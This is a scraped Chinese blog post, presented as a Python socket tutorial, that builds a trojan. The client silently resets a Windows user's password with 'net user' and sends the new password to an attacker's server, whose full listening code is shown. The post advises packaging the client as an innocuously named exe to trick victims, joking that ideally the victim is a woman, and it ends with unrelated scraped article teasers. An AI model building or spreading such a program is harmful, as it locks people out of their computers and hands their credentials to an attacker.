摘要:我們來用實現(xiàn)一個修改開機密碼的小程序。的邏輯不復(fù)雜,核心代碼就一句話,通過模塊調(diào)用的,來達到修改密碼??刂疲⑿薷拿艽a那么就是你想要修改的用戶名,一般有兩種操作,一種是直接修改他的,一種就是修改他現(xiàn)有的用戶。等待用戶雙擊即可。
對于學習Python這件事來說,很多人都覺得簡單,那是因為你從來沒有深入過。Python只是入門簡單,語法易懂,里面的實現(xiàn)原理同樣是門藝術(shù)。
今天給大家講講socket,但是我知道,說語法你們肯定不愛看,還嫌棄這的那的。那今天就用一個實例來給大家講講socket的實際用法。
你是不是心里一咯噔,不就是個聊天窗口嗎……對不起,你不愛我了。
我們來用socket實現(xiàn)一個修改windows開機密碼的小程序。
1. client端client端需要讓用戶來執(zhí)行,所以當我們寫完客戶端后,需要包裝一下,用什么來包裝呢?全網(wǎng)首份Python打包工具Pyinstaller實戰(zhàn)指南,如絲滑般體驗,了解下。
親測,有些人的電腦不是Administrator用戶,所以需要他們使用管理員權(quán)限執(zhí)行。因為client會調(diào)用 dos 命令。
client的邏輯不復(fù)雜,核心代碼就一句話,通過 subprocess.Popen模塊調(diào)用windows的 dos cmd,來達到修改密碼。
# 控制windows cmd,并修改密碼 subprocess.Popen(["net", "User", user, pwd])
那么user就是你想要修改的用戶名,一般有兩種操作,一種是直接修改他的Administator,一種就是修改他現(xiàn)有的windows用戶。
# 獲取計算機用戶名 user = getpass.getuser()
密碼的話,我們自己隨機生成8位a-zA-Z0-9的字符串就好了。
# 生成a-zA-Z0-9的隨機密碼 letters = string.ascii_letters + string.digits pwd = "".join([random.choice(letters) for _ in range(8)])
最后客戶端需要把密碼發(fā)送給服務(wù)端,服務(wù)端記下來,大功告成。
2. server端對于server端來說,我們需要做的是通過創(chuàng)建socket實例來接受客戶端發(fā)過來的密碼。
然后需要做到的是死循環(huán)。畢竟開一個就關(guān)了的事情,你想重復(fù)開啟server端也是可以的。
這里貼一下server端代碼
import socket # server端同樣需要通過創(chuàng)建socket,來監(jiān)聽client請求 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 這里和客戶端不一樣的是,使用的是bind,代表server端自己的ip port server.bind(("192.168.31.246", 8080)) # 這里的參數(shù)5 代表的是同時監(jiān)聽多少個客戶端,如果超過5個,那么第6個客戶端會出現(xiàn)響應(yīng)等待,也就是卡在那了 server.listen(5) print("starting....") # 創(chuàng)建socket連接后,會返回連接實例和地址 conn, addr = server.accept() print(conn) print("client addr", addr) print("ready to recv the passwd...") while True: # 等待接受客戶端發(fā)過來的信息 client_msg = conn.recv(1024) print("client passwd changed: %s" % client_msg.decode())3. 實戰(zhàn)
windows開啟客戶端
服務(wù)端接受
4. 后續(xù)你可以通過打包成exe,然后取個好聽的名字,比如:2018年年度十佳車牌。
等待用戶雙擊即可。最好是個妹子,這樣不就聊上了
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://specialneedsforspecialkids.com/yun/43300.html
摘要:幾個月之內(nèi)就開發(fā)了幾十款小程序的開發(fā)者陳林,有著自己的解答。資深小程序開發(fā)者陳林,是小程序風口下的探索者之一,借助小程序無需安裝,易于傳播的特點,陳林以小游戲類目為核心,配合小程序間可相互跳轉(zhuǎn)的特性。 showImg(https://segmentfault.com/img/remote/1460000020165110);你是一條產(chǎn)品經(jīng)理,現(xiàn)在要出一個大型需求的方案,你會怎么做? ...
摘要:的特點主要有如下幾個唯一性時效性不可預(yù)測很多大型業(yè)務(wù)中,比如說的找回密碼流程中,對于發(fā)給用戶的找回密碼鏈接郵件需要同時提交用戶輸入的驗證碼和也就是該校驗碼對應(yīng)的。 隨著互聯(lián)網(wǎng)的高速發(fā)展,WEB2.0網(wǎng)站的業(yè)務(wù)越來越龐大,一些token驗證在許多場景下都必不可少,比如說交易訂單的防止多次提交,重要的敏感操作防止CSRF(跨站請求偽造)攻擊,以及短信驗證碼,找回密碼驗證碼,注冊登錄圖形的生...
摘要:的特點主要有如下幾個唯一性時效性不可預(yù)測很多大型業(yè)務(wù)中,比如說的找回密碼流程中,對于發(fā)給用戶的找回密碼鏈接郵件需要同時提交用戶輸入的驗證碼和也就是該校驗碼對應(yīng)的。 隨著互聯(lián)網(wǎng)的高速發(fā)展,WEB2.0網(wǎng)站的業(yè)務(wù)越來越龐大,一些token驗證在許多場景下都必不可少,比如說交易訂單的防止多次提交,重要的敏感操作防止CSRF(跨站請求偽造)攻擊,以及短信驗證碼,找回密碼驗證碼,注冊登錄圖形的生...
閱讀 4422·2021-09-09 09:33
閱讀 2385·2019-08-29 17:15
閱讀 2372·2019-08-29 16:21
閱讀 978·2019-08-29 15:06
閱讀 2619·2019-08-29 13:25
閱讀 581·2019-08-29 11:32
閱讀 3255·2019-08-26 11:55
閱讀 2593·2019-08-23 18:24